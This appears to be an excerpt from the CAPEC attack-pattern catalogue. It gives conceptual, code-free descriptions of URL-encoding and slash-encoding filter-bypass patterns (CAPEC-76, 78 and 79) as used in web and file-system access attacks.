This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.